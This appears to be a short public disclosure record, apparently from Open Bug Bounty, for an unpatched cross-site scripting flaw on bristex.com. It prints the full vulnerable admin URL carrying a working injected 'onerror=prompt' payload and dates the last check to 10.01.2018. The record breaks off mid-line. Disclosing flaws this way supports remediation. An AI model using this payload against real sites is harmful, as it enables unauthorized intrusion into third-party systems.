bristex.com XSS vulnerability

Vulnerable URL: http://www.bristex.com/admin/bbs/viewimg.php?code=news=xss%22%20onerror=prompt/openbugbounty/%20%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19357842 VIP...